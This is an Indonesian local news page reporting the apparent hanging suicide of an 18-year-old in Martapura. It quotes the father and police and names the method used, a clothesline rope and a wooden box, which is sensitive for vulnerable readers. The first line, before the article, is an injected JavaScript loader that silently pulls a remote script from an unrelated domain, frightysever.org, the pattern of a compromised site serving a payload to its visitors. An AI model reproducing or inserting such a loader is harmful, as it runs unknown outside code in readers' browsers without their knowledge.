(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Peristiwa

Di Seutas Tali Jemuran, MA Diduga Gantung Diri, Bikin Geger Warga Sungai Sipai


MARTAPURA, Warga Komplek Lutfia Tunggal RT 14 Jalan Veteran Kelurahan Sungai Sipai, Kecamatan Martapura Kabupaten Banjar, dibuat geger penemuan mayat anak muda di sebuah rumah sewa bedakan dengan kondisi gantung diri menggunakan tali jemuran, Kamis (21/2).

Berdasarkan info yang dirangkum Kanal Kalimantan, diketahui identitas korban adalah MA (18), seorang pekerja swasta beralamat di RT 14 Komplek Lutfia Tunggal tersebut, korban gantung diri di ruang tengah rumah bedakan dengan menggunakan seutas tali tambang kecil warna kuning  dan bantalan kotak kayu.

Korban pertama kali ditemukan oleh ayahnya sendiri Suhaili dengan kondisi sudah meninggal dunia. MA dibawa menggunakan unit PMI Kabupaten Banjar diiringi Unit EBR maupun gabungan lainnya ke Instansi Gawat Darurat (IGD) Rumah Sakit Umum Daerah Ratu Zalecha Martapura.

Suhaili, ayah korban menceritakan, dirinya yang baru pulang dari tempat kerja mendapati pintu rumah dalam keadaan terkunci dan berinisiatif masuk mulai jendela rumah. Ia langsung dibikin kaget melihat anaknya sudah dalam keadaan tidak bernyawa tergeletak di lantai dengan seutas tali dilehernya.

“Anak saya itu anak yang pendiam, saya tidak tahu apakah dia ada masalah di luar, padahal pagi tadi saya lihat dia nampak biasa saja, saya tidak menyangka hingga seperti ini,” akunya.

Kapolres Banjar AkBP Takdir Matanette melalui  Kapolsek Martapura Kota Iptu Siswadi membenarkan adanya temuan seorang meninggal dunia di kawasan Komplek Lutfia Tunggal tersebut. Namun pihaknya terlebih dulu melakukan olah TKP untuk memastikan apakah benar-benar gantung diri.

“Jenazahnya sudah dievakuasi, memang pertama kali yang menemukan adalah bapaknya sekitar pukul 17.00 Wita, belum diketahui motifnya, kita masih menunggu hasil pemeriksaan dokter. Sementara kondisi jenazah pada bagian leher ada bekas jeratan tali jemuran,” pungkasnya. (rendy)


Al Ghifari

Recent Posts

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

2 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

2 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

4 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

6 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

7 jam ago

Waket I DPRD Kapuas Apresiasi Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More

8 jam ago

This website uses cookies.